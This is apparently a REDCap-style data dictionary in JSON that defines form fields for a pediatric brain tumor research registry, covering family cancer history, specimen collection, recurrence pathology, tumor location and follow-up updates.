{"field_name":"other_description","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Mother: Description of Other","select_choices_or_calculations":"","field_note":"Mother","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[cancer_type(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"father_what_type_of_cancer","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Father: What type of cancer?","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Father","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(2)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"father_description_of_othe","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Father: Description of Other","select_choices_or_calculations":"","field_note":"Father","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[father_what_type_of_cancer(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"sister_what_type_of_cancer","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Sister: What type of cancer?","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Sister","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(3)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"sister_description_of_othe","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Sister: Description of Other","select_choices_or_calculations":"","field_note":"Sister","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[sister_what_type_of_cancer(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"brother_what_type_of_cance","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Brother: What type of cancer?","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Brother","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(4)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"brother_description_of_oth","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Brother: Description of Other","select_choices_or_calculations":"","field_note":"Brother","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[brother_what_type_of_cance(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"maternal_grandmother_what","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Maternal Grandmother: What type of cancer?","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Maternal Grandmother","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(5)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"maternal_grandmother_descr","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Maternal Grandmother: Description of Other","select_choices_or_calculations":"","field_note":"Maternal Grandmother","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[maternal_grandmother_what(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"maternal_father_cancer_type","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Maternal Grandfather: What type of cancer?","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Maternal Grandfather","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(6)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"maternal_father_descrip_other","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Maternal Grandfather: Description of Other ","select_choices_or_calculations":"","field_note":"Maternal Grandfather","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[maternal_father_cancer_type(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"paternal_mother_cancer_type","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Paternal Grandmother: What type of cancer?","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Paternal Grandmother","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(7)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"paternal_mother_descrip_other","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Paternal Grandmother: Description of Other","select_choices_or_calculations":"","field_note":"Paternal Grandmother","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[paternal_mother_cancer_type(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"paternal_father_type_cancer","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Paternal Grandfather: What type of cancer?","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Paternal Grandfather","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(8)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"paternal_father_descrip_other","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Paternal Grandfather: Description of Other","select_choices_or_calculations":"","field_note":"Paternal Grandfather","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[paternal_father_type_cancer(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_what_type_of_cancer","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Other: What type of cancer","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Other","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(9)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_description_of_other","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Other: Description of other","select_choices_or_calculations":"","field_note":"Other","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[other_what_type_of_cancer(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"unspecified_what_type_cancer","form_name":"medical_history","section_header":"","field_type":"checkbox","field_label":"Unspecified Relation: What type of cancer","select_choices_or_calculations":"1, CNS | 2, Lung | 3, Skin | 4, Bone | 5, Breast | 6, Colon | 7, Liver | 8, Lymphoma | 9, Ovarian | 10, Prostate | 11, Uterine | 12, Pancreas | 13, Bladder | 14, Unavailable\/Not Specified | 15, Other | 16, Thyroid | 17, Kidney","field_note":"Unspecified Relation","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[family_member(10)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"unspecified_des_other_type","form_name":"medical_history","section_header":"","field_type":"text","field_label":"Unspecified Relation: Description of other","select_choices_or_calculations":"","field_note":"Unspecified Relation","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[unspecified_what_type_cancer(15)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"form_status_mh","form_name":"medical_history","section_header":"","field_type":"radio","field_label":"Medical History Form Status","select_choices_or_calculations":"1, Complete | 2, In Progress","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"enrollment_type2","form_name":"specimen_only","section_header":"","field_type":"radio","field_label":"Enrollment Status","select_choices_or_calculations":"1, Transfer\/Existing (retrospective) | 2, Prospective","field_note":"Required field and applies to this current record","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"specimen_form_complete","form_name":"specimen_only","section_header":"","field_type":"text","field_label":"Date Form Completed ","select_choices_or_calculations":"","field_note":"yyyy-mm-dd","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"specimen_collection_date","form_name":"specimen_only","section_header":"","field_type":"text","field_label":"Date of specimen collection","select_choices_or_calculations":"","field_note":"yyyy-mm-dd Note: Date must match Specimen Information Packet","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"specimen_type","form_name":"specimen_only","section_header":"","field_type":"checkbox","field_label":"Speciment Type","select_choices_or_calculations":"1, Blood - Child | 2, Blood - Maternal | 3, Blood - Paternal | 4, CSF | 5, Saliva - Child | 6, Saliva - Maternal | 7, Saliva - Paternal","field_note":"Parental blood\/saliva should be sent with child specimen","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"collection_tx_status","form_name":"specimen_only","section_header":"","field_type":"radio","field_label":"Treatment status during collection","select_choices_or_calculations":"1, Pre-treatment (before treatment began) | 2, On-treatment (during treatment) | 3, Off-treatment (after treatment stopped) | 4, No Treatment","field_note":"If this occurs during a diagnosis event (surgery), this should be a new health record, not a specimen only collection.","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[specimen_type(1)] = '1' or [specimen_type(4)] = '1' or [specimen_type(5)] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"form_status_so","form_name":"specimen_only","section_header":"","field_type":"radio","field_label":"Specimen Form Status","select_choices_or_calculations":"1, Complete | 2, In Progress","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"recurrent","form_name":"initial_data_form_old","section_header":"","field_type":"radio","field_label":"Is this a recurrent brain tumor? ","select_choices_or_calculations":"1, Yes | 2, No","field_note":"If no, go to question \\"Is there tumor metastases at time of tumor submission?\\"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"if_recurrent_please_descri","form_name":"initial_data_form_old","section_header":"","field_type":"notes","field_label":"If recurrent please describe","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"relapse_number","form_name":"initial_data_form_old","section_header":"","field_type":"text","field_label":"Relapse Number","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"recurr_date_ofl_diagn2_c7b","form_name":"initial_data_form_old","section_header":"","field_type":"text","field_label":"Date of recurrent Diagnosis","select_choices_or_calculations":"","field_note":"yyyy-mm-dd","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"subject_age_at_recurrence","form_name":"initial_data_form_old","section_header":"","field_type":"text","field_label":"Subject Age at Recurrence","select_choices_or_calculations":"","field_note":"in months","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"path_diag2_605","form_name":"initial_data_form_old","section_header":"","field_type":"text","field_label":"Recurrence Pathology Diagnosis (Referring Institution)","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"recur_path_diag2_c0e","form_name":"initial_data_form_old","section_header":"","field_type":"checkbox","field_label":"Recurrence Pathology Diagnosis (Referring Institution)","select_choices_or_calculations":"1, Medulloblastoma | 17, Supratentorial PNET | 2, Dysembryoplastic neuroepithelial tumor (DNET) | 3, Ependymoma | 18, Pineoblastoma | 5, Craniopharyngioma | 6, Low-grade glioma\/astrocytoma (WHO grade I\/II) | 7, High-grade glioma\/astrocytoma (WHO grade III\/IV) | 8, Ganglioglioma | 19, Oligodendroglioma | 20, Brainstem glioma- Diffuse intrinsic pontine glioma | 21, Brainstem glioma- Tectal | 22, Brainstem glioma- NOS | 10, Metastatic secondary tumors | 11, Dysplasia\/Gliosis | 12, Primary CNS lymphoma | 15, Atypical Teratoid Rhabdoid Tumor (ATRT) | 16, Neurofibroma\/Plexiform | 23, Malignant peripheral nerve sheath tumor (MPNST) | 24, Germinoma | 25, Non-germinomatous germ cell tumor | 26, Teratoma | 27, Choroid plexus papilloma | 28, Choroid plexus carcinoma | 29, Meningioma | 30, Gliomatosis Cerebri | 31, Neurocytoma | 14, Other","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"diag_other2_cf02_e7a","form_name":"initial_data_form_old","section_header":"","field_type":"text","field_label":"If Other, describe:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"operations_center_pat2_686","form_name":"initial_data_form_old","section_header":"","field_type":"text","field_label":"Operations Center Pathology Review (Recurrence Diagnosis)","select_choices_or_calculations":"","field_note":"Note: To be completed by CHOP-CHOP Pathology diagnosis (only complete if tumor submission is for recurrence)","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_primary_locatio2_533","form_name":"initial_data_form_old","section_header":"","field_type":"checkbox","field_label":"Tumor Primary Location in CNS","select_choices_or_calculations":"1, Frontal Lobe | 2, Temporal Lobe | 3, Parietal Lobe | 4, Occipital Lobe | 5, Thalamus | 6, Ventricles | 7, Suprasellar\/Hypothalamic\/Pituitary | 8, Cerebellum | 9, Brain Stem-Medulla | 10, Brain Stem- Midbrain\/Tectum | 11, Brain Stem- Pons | 12, Spinal Cord- Cervical | 13, Spinal Cord- Thoracic | 14, Spinal Cord- Lumbar\/Thecal Sac | 15, Optic Pathway | 16, Cranial Nerves NOS | 17, Other locations NOS | 18, Spinal Cord NOS | 19, Pineal Gland","field_note":"Recurrence","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"diag_other2_cf02_e7a2_a55","form_name":"initial_data_form_old","section_header":"","field_type":"text","field_label":"If Other, describe:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_resection_exten2_7e9","form_name":"initial_data_form_old","section_header":"","field_type":"radio","field_label":"Extent of tumor resection ","select_choices_or_calculations":"1, Gross total resection | 2, Partial resection | 3, Biopsy only | 4, Unknown","field_note":"Recurrence","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"metas_at_init_diag_desc","form_name":"initial_data_form_old","section_header":"","field_type":"notes","field_label":"Describe:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"metas_at_submit","form_name":"initial_data_form_old","section_header":"","field_type":"radio","field_label":"Is there tumor metastases at time of tumor submission?","select_choices_or_calculations":"0, Yes | 1, No | 2, Unknown","field_note":"If No or Unknown, go to \\"Treatment Plan\\"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"metas_at_submit_other","form_name":"initial_data_form_old","section_header":"","field_type":"notes","field_label":"Describe:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"update_type","form_name":"updates_data_old","section_header":"","field_type":"dropdown","field_label":"Type Of Update","select_choices_or_calculations":"1, 3 month | 2, 6 month | 3, 12 month | 4, 18 month | 5, 24 month | 6, 30 month | 7, 36 month | 8, 42 month | 9, 48 month | 10, 54 month | 11, 60 month | 12, 66 month | 13, 72 month | 14, 78 month | 15, 84 month | 16, 90 month | 17, 96 month | 18, 102 month | 19, 108 month | 20, 114 month","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"monitor_only","form_name":"updates_data_old","section_header":"","field_type":"radio","field_label":"Monitor only?","select_choices_or_calculations":"1, Yes | 2, No | 3, Unknown","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"monitor_only_after_surgery","form_name":"updates_data_old","section_header":"","field_type":"radio","field_label":"Is Surgery the Only Treatment?","select_choices_or_calculations":"1, Yes | 2, No | 3, Unknown","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_status","form_name":"updates_data_old","section_header":"","field_type":"dropdown","field_label":"Tumor Status","select_choices_or_calculations":"1, No evidence of disease | 3, Stable disease | 4, Recurrent disease | 5, Progressive disease | 6, Second look","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[clin_status]='1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"path_diag2_6052_f19","form_name":"updates_data_old","section_header":"","field_type":"text","field_label":"Recurrence Pathology Diagnosis (Referring Institution)","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"recur_path_diag2_c0e2_575","form_name":"updates_data_old","section_header":"","field_type":"checkbox","field_label":"Recurrence Pathology Diagnosis (Referring Institution)","select_choices_or_calculations":"1, Medulloblastoma | 17, Supratentorial PNET | 2, Dysembryoplastic neuroepithelial tumor (DNET) | 3, Ependymoma | 18, Pineoblastoma | 5, Craniopharyngioma | 6, Low-grade glioma\/astrocytoma (WHO grade I\/II) | 7, High-grade glioma\/astrocytoma (WHO grade III\/IV) | 8, Ganglioglioma | 19, Oligodendroglioma | 20, Brainstem glioma- Diffuse intrinsic pontine glioma | 21, Brainstem glioma- Tectal | 22, Brainstem glioma- NOS | 10, Metastatic secondary tumors | 11, Dysplasia\/Gliosis | 12, Primary CNS lymphoma | 15, Atypical Teratoid Rhabdoid Tumor (ATRT) | 16, Neurofibroma\/Plexiform | 23, Malignant peripheral nerve sheath tumor (MPNST) | 24, Germinoma | 25, Non-germinomatous germ cell tumor | 26, Teratoma | 27, Choroid plexus papilloma | 28, Choroid plexus carcinoma | 29, Meningioma | 30, Gliomatosis Cerebri | 31, Neurocytoma | 14, Other","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"if_other_describe","form_name":"updates_data_old","section_header":"","field_type":"text","field_label":"If Other describe","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"operations_center_pat2_97f","form_name":"updates_data_old","section_header":"","field_type":"text","field_label":"Operations Center Pathology Review (Recurrence Diagnosis)","select_choices_or_calculations":"","field_note":"Note: To be completed by CHOP-CHOP Pathology diagnosis (only complete if tumor submission is for recurrence)","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_primary_locatio2_f42","form_name":"updates_data_old","section_header":"","field_type":"checkbox","field_label":"Tumor Primary Location in CNS","select_choices_or_calculations":"1, Frontal Lobe | 2, Temporal Lobe | 3, Parietal Lobe | 4, Occipital Lobe | 5, Thalamus | 6, Ventricles | 7, Suprasellar\/Hypothalamic\/Pituitary | 8, Cerebellum | 9, Brain Stem-Medulla | 10, Brain Stem- Midbrain\/Tectum | 11, Brain Stem- Pons | 12, Spinal Cord- Cervical | 13, Spinal Cord- Thoracic | 14, Spinal Cord- Lumbar\/Thecal Sac | 15, Optic Pathway | 16, Cranial Nerves NOS | 17, Other locations NOS | 18, Spine NOS | 19, Pineal Gland","field_note":"Recurrence","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"if_other_describe_tl","form_name":"updates_data_old","section_header":"","field_type":"text","field_label":"If Other describe","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_resection_exten2_207","form_name":"updates_data_old","section_header":"","field_type":"radio","field_label":"Extent of tumor resection ","select_choices_or_calculations":"1, Gross total resection | 2, Partial resection | 3, Biopsy only | 4, Unknown","field_note":"Recurrence","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"time_surg_prog","form_name":"updates_data_old","section_header":"","field_type":"text","field_label":"Time from last surgery to progression","select_choices_or_calculations":"","field_note":"in months If progressive disease","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"subject_age_at_recurr2_c64","form_name":"updates_data_old","section_header":"","field_type":"text","field_label":"Subject Age at Recurrence","select_choices_or_calculations":"","field_note":"in months","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"meta_site","form_name":"updates_data_old","section_header":"","field_type":"checkbox","field_label":"Site","select_choices_or_calculations":"1, Brain | 2, Spine | 3, Bone\/Bone Marrow | 4, Other","field_note":"If metastatic","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"otherdescrip","form_name":"updates_data_old","section_header":"","field_type":"notes","field_label":"Describe ","select_choices_or_calculations":"","field_note":"if \\"Other\\"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"if_no_why","form_name":"updates_data_old","section_header":"","field_type":"radio","field_label":"If No, why?","select_choices_or_calculations":"1, Still on treatment | 2, Discontinued due to toxicities | 3, Discontinued due to tumor progression | 4, Discontinued for reasons unspecified","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"was_a_new_treatment_plan_i","form_name":"updates_data_old","section_header":"","field_type":"radio","field_label":"Was a new treatment plan initiated since last update?","select_choices_or_calculations":"1, Yes | 2, No | 3, Unknown","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"why_was_new_treatment_init","form_name":"updates_data_old","section_header":"","field_type":"checkbox","field_label":"Why was new treatment initiated?","select_choices_or_calculations":"1, Did not tolerate prior treatment | 2, Tumor progression | 3, Tumor recurrence | 4, Unknown","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
